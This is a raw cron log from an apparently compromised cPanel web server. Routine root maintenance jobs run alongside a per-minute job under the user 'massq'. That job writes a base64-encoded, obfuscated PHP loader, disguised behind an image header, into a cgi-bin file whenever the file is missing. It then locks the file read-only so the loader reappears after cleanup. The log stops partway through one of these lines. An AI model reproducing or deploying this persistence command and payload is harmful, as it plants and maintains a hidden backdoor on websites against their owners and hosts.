Sep 10 07:34:01 server CROND[19091]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:34:01 server CROND[19092]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:35:01 server CROND[19517]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 07:35:01 server CROND[19516]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 07:35:01 server CROND[19520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:35:01 server CROND[19521]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 07:35:01 server CROND[19527]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 10 07:35:01 server CROND[19523]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:35:01 server CROND[19524]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 07:35:01 server CROND[19526]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:35:01 server CROND[19525]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 07:36:01 server CROND[20349]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:36:01 server CROND[20350]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:36:01 server CROND[20351]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:37:01 server CROND[20725]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:37:01 server CROND[20726]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:37:01 server CROND[20727]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:38:01 server CROND[21123]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:38:01 server CROND[21124]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:38:01 server CROND[21125]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:39:01 server CROND[21546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:39:01 server CROND[21547]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:39:01 server CROND[21549]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:39:01 server CROND[21550]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 07:40:01 server CROND[22026]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 07:40:01 server CROND[22032]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 07:40:01 server CROND[22034]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 07:40:01 server CROND[22036]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 07:40:01 server CROND[22038]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:40:01 server CROND[22037]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 07:40:01 server CROND[22041]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:40:01 server CROND[22039]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:41:01 server CROND[22991]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:41:01 server CROND[22992]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:41:01 server CROND[22993]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:42:01 server CROND[23393]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 07:42:01 server CROND[23394]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:42:01 server CROND[23395]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:42:01 server CROND[23396]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:43:01 server CROND[23768]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:43:01 server CROND[23769]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:43:01 server CROND[23770]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:44:01 server CROND[24145]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:44:01 server CROND[24147]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:44:01 server CROND[24146]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:45:01 server CROND[24516]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 07:45:01 server CROND[24518]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 07:45:01 server CROND[24523]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 07:45:01 server CROND[24525]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 07:45:01 server CROND[24526]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:45:01 server CROND[24524]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:45:01 server CROND[24535]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHS